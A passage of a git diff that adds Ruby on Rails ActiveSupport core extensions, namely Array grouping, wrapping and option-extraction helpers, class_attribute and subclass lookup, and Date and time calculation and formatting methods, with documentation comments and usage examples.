+    instance_of?(Hash)
+  end
+end
+
+class Array
+  # Extracts options from a set of arguments. Removes and returns the last
+  # element in the array if it's a hash, otherwise returns a blank hash.
+  #
+  #   def options(*args)
+  #     args.extract_options!
+  #   end
+  #
+  #   options(1, 2)        # => {}
+  #   options(1, 2, a: :b) # => {:a=>:b}
+  def extract_options!
+    if last.is_a?(Hash) && last.extractable_options?
+      pop
+    else
+      {}
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
new file mode 100644
index 0000000000..67e760bc4b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+class Array
+  # Splits or iterates over the array in groups of size +number+,
+  # padding any remaining slots with +fill_with+ unless it is +false+.
+  #
+  #   %w(1 2 3 4 5 6 7 8 9 10).in_groups_of(3) {|group| p group}
+  #   ["1", "2", "3"]
+  #   ["4", "5", "6"]
+  #   ["7", "8", "9"]
+  #   ["10", nil, nil]
+  #
+  #   %w(1 2 3 4 5).in_groups_of(2, '&nbsp;') {|group| p group}
+  #   ["1", "2"]
+  #   ["3", "4"]
+  #   ["5", "&nbsp;"]
+  #
+  #   %w(1 2 3 4 5).in_groups_of(2, false) {|group| p group}
+  #   ["1", "2"]
+  #   ["3", "4"]
+  #   ["5"]
+  def in_groups_of(number, fill_with = nil)
+    if number.to_i <= 0
+      raise ArgumentError,
+        "Group size must be a positive integer, was #{number.inspect}"
+    end
+
+    if fill_with == false
+      collection = self
+    else
+      # size % number gives how many extra we have;
+      # subtracting from number gives how many to add;
+      # modulo number ensures we don't add group of just fill.
+      padding = (number - size % number) % number
+      collection = dup.concat(Array.new(padding, fill_with))
+    end
+
+    if block_given?
+      collection.each_slice(number) { |slice| yield(slice) }
+    else
+      collection.each_slice(number).to_a
+    end
+  end
+
+  # Splits or iterates over the array in +number+ of groups, padding any
+  # remaining slots with +fill_with+ unless it is +false+.
+  #
+  #   %w(1 2 3 4 5 6 7 8 9 10).in_groups(3) {|group| p group}
+  #   ["1", "2", "3", "4"]
+  #   ["5", "6", "7", nil]
+  #   ["8", "9", "10", nil]
+  #
+  #   %w(1 2 3 4 5 6 7 8 9 10).in_groups(3, '&nbsp;') {|group| p group}
+  #   ["1", "2", "3", "4"]
+  #   ["5", "6", "7", "&nbsp;"]
+  #   ["8", "9", "10", "&nbsp;"]
+  #
+  #   %w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
+  #   ["1", "2", "3"]
+  #   ["4", "5"]
+  #   ["6", "7"]
+  def in_groups(number, fill_with = nil)
+    # size.div number gives minor group size;
+    # size % number gives how many objects need extra accommodation;
+    # each group hold either division or division + 1 items.
+    division = size.div number
+    modulo = size % number
+
+    # create a new array avoiding dup
+    groups = []
+    start = 0
+
+    number.times do |index|
+      length = division + (modulo > 0 && modulo > index ? 1 : 0)
+      groups << last_group = slice(start, length)
+      last_group << fill_with if fill_with != false &&
+        modulo > 0 && length == division
+      start += length
+    end
+
+    if block_given?
+      groups.each { |g| yield(g) }
+    else
+      groups
+    end
+  end
+
+  # Divides the array into one or more subarrays based on a delimiting +value+
+  # or the result of an optional block.
+  #
+  #   [1, 2, 3, 4, 5].split(3)              # => [[1, 2], [4, 5]]
+  #   (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
+  def split(value = nil)
+    arr = dup
+    result = []
+    if block_given?
+      while (idx = arr.index { |i| yield i })
+        result << arr.shift(idx)
+        arr.shift
+      end
+    else
+      while (idx = arr.index(value))
+        result << arr.shift(idx)
+        arr.shift
+      end
+    end
+    result << arr
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/inquiry.rb b/activesupport/lib/active_support/core_ext/array/inquiry.rb
new file mode 100644
index 0000000000..4f4a9fa361
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/inquiry.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require_relative "../../array_inquirer"
+
+class Array
+  # Wraps the array in an +ArrayInquirer+ object, which gives a friendlier way
+  # to check its string-like contents.
+  #
+  #   pets = [:cat, :dog].inquiry
+  #
+  #   pets.cat?     # => true
+  #   pets.ferret?  # => false
+  #
+  #   pets.any?(:cat, :ferret)  # => true
+  #   pets.any?(:ferret, :alligator)  # => false
+  def inquiry
+    ActiveSupport::ArrayInquirer.new(self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
new file mode 100644
index 0000000000..661971d7cd
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Array
+  # The human way of thinking about adding stuff to the end of a list is with append.
+  alias_method :append,  :push unless [].respond_to?(:append)
+
+  # The human way of thinking about adding stuff to the beginning of a list is with prepend.
+  alias_method :prepend, :unshift unless [].respond_to?(:prepend)
+end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
new file mode 100644
index 0000000000..d62f97edbf
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class Array
+  # Wraps its argument in an array unless it is already an array (or array-like).
+  #
+  # Specifically:
+  #
+  # * If the argument is +nil+ an empty array is returned.
+  # * Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned.
+  # * Otherwise, returns an array with the argument as its single element.
+  #
+  #     Array.wrap(nil)       # => []
+  #     Array.wrap([1, 2, 3]) # => [1, 2, 3]
+  #     Array.wrap(0)         # => [0]
+  #
+  # This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
+  #
+  # * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt>
+  #   moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns
+  #   an array with the argument as its single element right away.
+  # * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt>
+  #   raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
+  # * It does not call +to_a+ on the argument, if the argument does not respond to +to_ary+
+  #   it returns an array with the argument as its single element.
+  #
+  # The last point is easily explained with some enumerables:
+  #
+  #   Array(foo: :bar)      # => [[:foo, :bar]]
+  #   Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+  #
+  # There's also a related idiom that uses the splat operator:
+  #
+  #   [*object]
+  #
+  # which returns <tt>[]</tt> for +nil+, but calls to <tt>Array(object)</tt> otherwise.
+  #
+  # The differences with <tt>Kernel#Array</tt> explained above
+  # apply to the rest of <tt>object</tt>s.
+  def self.wrap(object)
+    if object.nil?
+      []
+    elsif object.respond_to?(:to_ary)
+      object.to_ary || [object]
+    else
+      [object]
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/benchmark.rb b/activesupport/lib/active_support/core_ext/benchmark.rb
new file mode 100644
index 0000000000..641b58c8b8
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/benchmark.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "benchmark"
+
+class << Benchmark
+  # Benchmark realtime in milliseconds.
+  #
+  #   Benchmark.realtime { User.all }
+  #   # => 8.0e-05
+  #
+  #   Benchmark.ms { User.all }
+  #   # => 0.074
+  def ms
+    1000 * realtime { yield }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal.rb b/activesupport/lib/active_support/core_ext/big_decimal.rb
new file mode 100644
index 0000000000..5568db689b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_relative "big_decimal/conversions"
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
new file mode 100644
index 0000000000..52bd229416
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
+require "bigdecimal/util"
+
+module ActiveSupport
+  module BigDecimalWithDefaultFormat #:nodoc:
+    def to_s(format = "F")
+      super(format)
+    end
+  end
+end
+
+BigDecimal.prepend(ActiveSupport::BigDecimalWithDefaultFormat)
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
new file mode 100644
index 0000000000..65e1d68399
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require_relative "class/attribute"
+require_relative "class/subclasses"
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
new file mode 100644
index 0000000000..e5a52db36a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require_relative "../kernel/singleton_class"
+require_relative "../module/remove_method"
+require_relative "../array/extract_options"
+
+class Class
+  # Declare a class-level attribute whose value is inheritable by subclasses.
+  # Subclasses can change their own value and it will not impact parent class.
+  #
+  # ==== Options
+  #
+  # * <tt>:instance_reader</tt> - Sets the instance reader method (defaults to true).
+  # * <tt>:instance_writer</tt> - Sets the instance writer method (defaults to true).
+  # * <tt>:instance_accessor</tt> - Sets both instance methods (defaults to true).
+  # * <tt>:instance_predicate</tt> - Sets a predicate method (defaults to true).
+  # * <tt>:default</tt> - Sets a default value for the attribute (defaults to nil).
+  #
+  # ==== Examples
+  #
+  #   class Base
+  #     class_attribute :setting
+  #   end
+  #
+  #   class Subclass < Base
+  #   end
+  #
+  #   Base.setting = true
+  #   Subclass.setting            # => true
+  #   Subclass.setting = false
+  #   Subclass.setting            # => false
+  #   Base.setting                # => true
+  #
+  # In the above case as long as Subclass does not assign a value to setting
+  # by performing <tt>Subclass.setting = _something_</tt>, <tt>Subclass.setting</tt>
+  # would read value assigned to parent class. Once Subclass assigns a value then
+  # the value assigned by Subclass would be returned.
+  #
+  # This matches normal Ruby method inheritance: think of writing an attribute
+  # on a subclass as overriding the reader method. However, you need to be aware
+  # when using +class_attribute+ with mutable structures as +Array+ or +Hash+.
+  # In such cases, you don't want to do changes in place. Instead use setters:
+  #
+  #   Base.setting = []
+  #   Base.setting                # => []
+  #   Subclass.setting            # => []
+  #
+  #   # Appending in child changes both parent and child because it is the same object:
+  #   Subclass.setting << :foo
+  #   Base.setting               # => [:foo]
+  #   Subclass.setting           # => [:foo]
+  #
+  #   # Use setters to not propagate changes:
+  #   Base.setting = []
+  #   Subclass.setting += [:foo]
+  #   Base.setting               # => []
+  #   Subclass.setting           # => [:foo]
+  #
+  # For convenience, an instance predicate method is defined as well.
+  # To skip it, pass <tt>instance_predicate: false</tt>.
+  #
+  #   Subclass.setting?       # => false
+  #
+  # Instances may overwrite the class value in the same way:
+  #
+  #   Base.setting = true
+  #   object = Base.new
+  #   object.setting          # => true
+  #   object.setting = false
+  #   object.setting          # => false
+  #   Base.setting            # => true
+  #
+  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  #
+  #   object.setting          # => NoMethodError
+  #   object.setting?         # => NoMethodError
+  #
+  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+  #
+  #   object.setting = false  # => NoMethodError
+  #
+  # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
+  #
+  # To set a default value for the attribute, pass <tt>default:</tt>, like so:
+  #
+  #   class_attribute :settings, default: {}
+  def class_attribute(*attrs)
+    options = attrs.extract_options!
+    instance_reader    = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
+    instance_writer    = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
+    instance_predicate = options.fetch(:instance_predicate, true)
+    default_value      = options.fetch(:default, nil)
+
+    attrs.each do |name|
+      remove_possible_singleton_method(name)
+      define_singleton_method(name) { nil }
+
+      remove_possible_singleton_method("#{name}?")
+      define_singleton_method("#{name}?") { !!public_send(name) } if instance_predicate
+
+      ivar = "@#{name}"
+
+      remove_possible_singleton_method("#{name}=")
+      define_singleton_method("#{name}=") do |val|
+        singleton_class.class_eval do
+          remove_possible_method(name)
+          define_method(name) { val }
+        end
+
+        if singleton_class?
+          class_eval do
+            remove_possible_method(name)
+            define_method(name) do
+              if instance_variable_defined? ivar
+                instance_variable_get ivar
+              else
+                singleton_class.send name
+              end
+            end
+          end
+        end
+        val
+      end
+
+      if instance_reader
+        remove_possible_method name
+        define_method(name) do
+          if instance_variable_defined?(ivar)
+            instance_variable_get ivar
+          else
+            self.class.public_send name
+          end
+        end
+
+        remove_possible_method "#{name}?"
+        define_method("#{name}?") { !!public_send(name) } if instance_predicate
+      end
+
+      if instance_writer
+        remove_possible_method "#{name}="
+        attr_writer name
+      end
+
+      unless default_value.nil?
+        self.send("#{name}=", default_value)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
new file mode 100644
index 0000000000..b4dbcc6698
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+# cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
+# but we keep this around for libraries that directly require it knowing they
+# want cattr_*. No need to deprecate.
+require_relative "../module/attribute_accessors"
diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb
new file mode 100644
index 0000000000..4c910feb44
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "../module/anonymous"
+require_relative "../module/reachable"
+
+class Class
+  begin
+    # Test if this Ruby supports each_object against singleton_class
+    ObjectSpace.each_object(Numeric.singleton_class) {}
+
+    # Returns an array with all classes that are < than its receiver.
+    #
+    #   class C; end
+    #   C.descendants # => []
+    #
+    #   class B < C; end
+    #   C.descendants # => [B]
+    #
+    #   class A < B; end
+    #   C.descendants # => [B, A]
+    #
+    #   class D < C; end
+    #   C.descendants # => [B, A, D]
+    def descendants
+      descendants = []
+      ObjectSpace.each_object(singleton_class) do |k|
+        next if k.singleton_class?
+        descendants.unshift k unless k == self
+      end
+      descendants
+    end
+  rescue StandardError # JRuby 9.0.4.0 and earlier
+    def descendants
+      descendants = []
+      ObjectSpace.each_object(Class) do |k|
+        descendants.unshift k if k < self
+      end
+      descendants.uniq!
+      descendants
+    end
+  end
+
+  # Returns an array with the direct children of +self+.
+  #
+  #   class Foo; end
+  #   class Bar < Foo; end
+  #   class Baz < Bar; end
+  #
+  #   Foo.subclasses # => [Bar]
+  def subclasses
+    subclasses, chain = [], descendants
+    chain.each do |k|
+      subclasses << k unless chain.any? { |c| c > k }
+    end
+    subclasses
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date.rb b/activesupport/lib/active_support/core_ext/date.rb
new file mode 100644
index 0000000000..2a2ed5496f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative "date/acts_like"
+require_relative "date/blank"
+require_relative "date/calculations"
+require_relative "date/conversions"
+require_relative "date/zones"
diff --git a/activesupport/lib/active_support/core_ext/date/acts_like.rb b/activesupport/lib/active_support/core_ext/date/acts_like.rb
new file mode 100644
index 0000000000..81769129b5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/acts_like.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "../object/acts_like"
+
+class Date
+  # Duck-types as a Date-like class. See Object#acts_like?.
+  def acts_like_date?
+    true
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/blank.rb b/activesupport/lib/active_support/core_ext/date/blank.rb
new file mode 100644
index 0000000000..e6271c79b3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/blank.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "date"
+
+class Date #:nodoc:
+  # No Date is blank:
+  #
+  #   Date.today.blank? # => false
+  #
+  # @return [false]
+  def blank?
+    false
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
new file mode 100644
index 0000000000..1a19ee8b1e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../../duration"
+require_relative "../object/acts_like"
+require_relative "zones"
+require_relative "../time/zones"
+require_relative "../date_and_time/calculations"
+
+class Date
+  include DateAndTime::Calculations
+
+  class << self
+    attr_accessor :beginning_of_week_default
+
+    # Returns the week start (e.g. :monday) for the current request, if this has been set (via Date.beginning_of_week=).
+    # If <tt>Date.beginning_of_week</tt> has not been set for the current request, returns the week start specified in <tt>config.beginning_of_week</tt>.
+    # If no config.beginning_of_week was specified, returns :monday.
+    def beginning_of_week
+      Thread.current[:beginning_of_week] || beginning_of_week_default || :monday
+    end
+
+    # Sets <tt>Date.beginning_of_week</tt> to a week start (e.g. :monday) for current request/thread.
+    #
+    # This method accepts any of the following day symbols:
+    # :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday
+    def beginning_of_week=(week_start)
+      Thread.current[:beginning_of_week] = find_beginning_of_week!(week_start)
+    end
+
+    # Returns week start day symbol (e.g. :monday), or raises an +ArgumentError+ for invalid day symbol.
+    def find_beginning_of_week!(week_start)
+      raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.key?(week_start)
+      week_start
+    end
+
+    # Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
+    def yesterday
+      ::Date.current.yesterday
+    end
+
+    # Returns a new Date representing the date 1 day after today (i.e. tomorrow's date).
+    def tomorrow
+      ::Date.current.tomorrow
+    end
+
+    # Returns Time.zone.today when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns Date.today.
+    def current
+      ::Time.zone ? ::Time.zone.today : ::Date.today
+    end
+  end
+
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+  # and then subtracts the specified number of seconds.
+  def ago(seconds)
+    in_time_zone.since(-seconds)
+  end
+
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+  # and then adds the specified number of seconds
+  def since(seconds)
+    in_time_zone.since(seconds)
+  end
+  alias :in :since
+
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+  def beginning_of_day
+    in_time_zone
+  end
+  alias :midnight :beginning_of_day
+  alias :at_midnight :beginning_of_day
+  alias :at_beginning_of_day :beginning_of_day
+
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the middle of the day (12:00)
+  def middle_of_day
+    in_time_zone.middle_of_day
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
+  def end_of_day
+    in_time_zone.end_of_day
+  end
+  alias :at_end_of_day :end_of_day
+
+  def plus_with_duration(other) #:nodoc:
+    if ActiveSupport::Duration === other
+      other.since(self)
+    else
+      plus_without_duration(other)
+    end
+  end
+  alias_method :plus_without_duration, :+
+  alias_method :+, :plus_with_duration
+
+  def minus_with_duration(other) #:nodoc:
+    if ActiveSupport::Duration === other
+      plus_with_duration(-other)
+    else
+      minus_without_duration(other)
+    end
+  end
+  alias_method :minus_without_duration, :-
+  alias_method :-, :minus_with_duration
+
+  # Provides precise Date calculations for years, months, and days. The +options+ parameter takes a hash with
+  # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
+  def advance(options)
+    options = options.dup
+    d = self
+    d = d >> options.delete(:years) * 12 if options[:years]
+    d = d >> options.delete(:months)     if options[:months]
+    d = d +  options.delete(:weeks) * 7  if options[:weeks]
+    d = d +  options.delete(:days)       if options[:days]
+    d
+  end
+
+  # Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
+  # The +options+ parameter is a hash with a combination of these keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>.
+  #
+  #   Date.new(2007, 5, 12).change(day: 1)               # => Date.new(2007, 5, 1)
+  #   Date.new(2007, 5, 12).change(year: 2005, month: 1) # => Date.new(2005, 1, 12)
+  def change(options)
+    ::Date.new(
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day)
+    )
+  end
+
+  # Allow Date to be compared with Time by converting to DateTime and relying on the <=> from there.
+  def compare_with_coercion(other)
+    if other.is_a?(Time)
+      to_datetime <=> other
+    else
+      compare_without_coercion(other)
+    end
+  end
+  alias_method :compare_without_coercion, :<=>
+  alias_method :<=>, :compare_with_coercion
+end
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
new file mode 100644
index 0000000000..000d6f61ca
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../../inflector/methods"
+require_relative "zones"
+require_relative "../module/remove_method"
+
+class Date
+  DATE_FORMATS = {
+    short: "%d %b",
+    long: "%B %d, %Y",
+    db: "%Y-%m-%d",
+    number: "%Y%m%d",
+    long_ordinal: lambda { |date|
+      day_format = ActiveSupport::Inflector.ordinalize(date.day)
+      date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
+    },
+    rfc822: "%d %b %Y",
+    iso8601: lambda { |date| date.iso8601 }
+  }
+
+  # Ruby 1.9 has Date#to_time which converts to localtime only.
+  remove_method :to_time
+
+  # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+  # component. This removal may generate an issue on FreeBSD, that's why we
+  # need to use remove_possible_method here
+  remove_possible_method :xmlschema
+
+  # Convert to a formatted string. See DATE_FORMATS for predefined formats.
+  #
+  # This method is aliased to <tt>to_s</tt>.
+  #
+  #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
+  #
+  #   date.to_formatted_s(:db)            # => "2007-11-10"
+  #   date.to_s(:db)                      # => "2007-11-10"
+  #
+  #   date.to_formatted_s(:short)         # => "10 Nov"
+  #   date.to_formatted_s(:number)        # => "20071110"
+  #   date.to_formatted_s(:long)          # => "November 10, 2007"
+  #   date.to_formatted_s(:long_ordinal)  # => "November 10th, 2007"
+  #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
+  #   date.to_formatted_s(:iso8601)       # => "2007-11-10"
+  #
+  # == Adding your own date formats to to_formatted_s
+  # You can add your own formats to the Date::DATE_FORMATS hash.
+  # Use the format name as the hash key and either a strftime string
+  # or Proc instance that takes a date argument as the value.
+  #
+  #   # config/initializers/date_formats.rb
+  #   Date::DATE_FORMATS[:month_and_year] = '%B %Y'
+  #   Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
+  def to_formatted_s(format = :default)
+    if formatter = DATE_FORMATS[format]
+      if formatter.respond_to?(:call)
+        formatter.call(self).to_s
+      else
+        strftime(formatter)
+      end
+    else
+      to_default_s
+    end
+  end
+  alias_method :to_default_s, :to_s
+  alias_method :to_s, :to_formatted_s
+
+  # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
+  def readable_inspect
+    strftime("%a, %d %b %Y")
+  end
+  alias_method :default_inspect, :inspect
+  alias_method :inspect, :readable_inspect
+
+  # Converts a Date instance to a Time, where the time is set to the beginning of the day.
+  # The timezone can be either :local or :utc (default :local).
+  #
+  #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
+  #
+  #   date.to_time                   # => 2007-11-10 00:00:00 0800
+  #   date.to_time(:local)           # => 2007-11-10 00:00:00 0800
+  #
+  #   date.to_time(:utc)             # => 2007-11-10 00:00:00 UTC
+  #
+  # NOTE: The :local timezone is Ruby's *process* timezone, i.e. ENV['TZ'].
+  #       If the *application's* timezone is needed, then use +in_time_zone+ instead.
+  def to_time(form = :local)
+    raise ArgumentError, "Expected :local or :utc, got #{form.inspect}." unless [:local, :utc].include?(form)
+    ::Time.send(form, year, month, day)
+  end
+
+  # Returns a string which represents the time in used time zone as DateTime
+  # defined by XML Schema:
+  #
+  #   date = Date.new(2015, 05, 23)  # => Sat, 23 May 2015
+  #   date.xmlschema                 # => "2015-05-23T00:00:00+04:00"
+  def xmlschema
+    in_time_zone.xmlschema
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
new file mode 100644
index 0000000000..1aed070df0
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../date_and_time/zones"
+
+class Date
+  include DateAndTime::Zones
+end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
new file mode 100644
index 0000000000..8546f7e57b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -0,0 +1,358 @@
+# frozen_string_literal: true
+
+require_relative "../object/try"
+
+module DateAndTime
+  module Calculations
+    DAYS_INTO_WEEK = {
+      monday: 0,
+      tuesday: 1,
+      wednesday: 2,
+      thursday: 3,
+      friday: 4,
+      saturday: 5,
+      sunday: 6
+    }
+    WEEKEND_DAYS = [ 6, 0 ]
+
+    # Returns a new date/time representing yesterday.
+    def yesterday
+      advance(days: -1)
+    end
+
+    # Returns a new date/time representing the previous day.
+    def prev_day
+      advance(days: -1)
+    end
+
+    # Returns a new date/time representing tomorrow.
+    def tomorrow
+      advance(days: 1)
+    end
+
+    # Returns a new date/time representing the next day.
+    def next_day
+      advance(days: 1)
+    end
+
+    # Returns true if the date/time is today.
+    def today?
+      to_date == ::Date.current
+    end
+
+    # Returns true if the date/time is in the past.
+    def past?
+      self < self.class.current
+    end
+
+    # Returns true if the date/time is in the future.
+    def future?
+      self > self.class.current
+    end
+
+    # Returns true if the date/time falls on a Saturday or Sunday.
+    def on_weekend?
+      WEEKEND_DAYS.include?(wday)
+    end
+
+    # Returns true if the date/time does not fall on a Saturday or Sunday.
+    def on_weekday?
+      !WEEKEND_DAYS.include?(wday)
+    end
+
+    # Returns a new date/time the specified number of days ago.
+    def days_ago(days)
+      advance(days: -days)
+    end
+
+    # Returns a new date/time the specified number of days in the future.
+    def days_since(days)
+      advance(days: days)
+    end
+
+    # Returns a new date/time the specified number of weeks ago.
+    def weeks_ago(weeks)
+      advance(weeks: -weeks)
+    end
+
+    # Returns a new date/time the specified number of weeks in the future.
+    def weeks_since(weeks)
+      advance(weeks: weeks)
+    end
+
+    # Returns a new date/time the specified number of months ago.
+    def months_ago(months)
+      advance(months: -months)
+    end
+
+    # Returns a new date/time the specified number of months in the future.
+    def months_since(months)
+      advance(months: months)
+    end
+
+    # Returns a new date/time the specified number of years ago.
+    def years_ago(years)
+      advance(years: -years)
+    end
+
+    # Returns a new date/time the specified number of years in the future.
+    def years_since(years)
+      advance(years: years)
+    end
+
+    # Returns a new date/time at the start of the month.
+    #
+    #   today = Date.today # => Thu, 18 Jun 2015
+    #   today.beginning_of_month # => Mon, 01 Jun 2015
+    #
+    # +DateTime+ objects will have a time set to 0:00.
+    #
+    #   now = DateTime.current # => Thu, 18 Jun 2015 15:23:13 +0000
+    #   now.beginning_of_month # => Mon, 01 Jun 2015 00:00:00 +0000
+    def beginning_of_month
+      first_hour(change(day: 1))
+    end
+    alias :at_beginning_of_month :beginning_of_month
+
+    # Returns a new date/time at the start of the quarter.
+    #
+    #   today = Date.today # => Fri, 10 Jul 2015
+    #   today.beginning_of_quarter # => Wed, 01 Jul 2015
+    #
+    # +DateTime+ objects will have a time set to 0:00.
+    #
+    #   now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+    #   now.beginning_of_quarter # => Wed, 01 Jul 2015 00:00:00 +0000
+    def beginning_of_quarter
+      first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+      beginning_of_month.change(month: first_quarter_month)
+    end
+    alias :at_beginning_of_quarter :beginning_of_quarter
+
+    # Returns a new date/time at the end of the quarter.
+    #
+    #   today = Date.today # => Fri, 10 Jul 2015
+    #   today.end_of_quarter # => Wed, 30 Sep 2015
+    #
+    # +DateTime+ objects will have a time set to 23:59:59.
+    #
+    #   now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+    #   now.end_of_quarter # => Wed, 30 Sep 2015 23:59:59 +0000
+    def end_of_quarter
+      last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+      beginning_of_month.change(month: last_quarter_month).end_of_month
+    end
+    alias :at_end_of_quarter :end_of_quarter
+
+    # Returns a new date/time at the beginning of the year.
+    #
+    #   today = Date.today # => Fri, 10 Jul 2015
+    #   today.beginning_of_year # => Thu, 01 Jan 2015
+    #
+    # +DateTime+ objects will have a time set to 0:00.
+    #
+    #   now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+    #   now.beginning_of_year # => Thu, 01 Jan 2015 00:00:00 +0000
+    def beginning_of_year
+      change(month: 1).beginning_of_month
+    end
+    alias :at_beginning_of_year :beginning_of_year
+
+    # Returns a new date/time representing the given day in the next week.
+    #
+    #   today = Date.today # => Thu, 07 May 2015
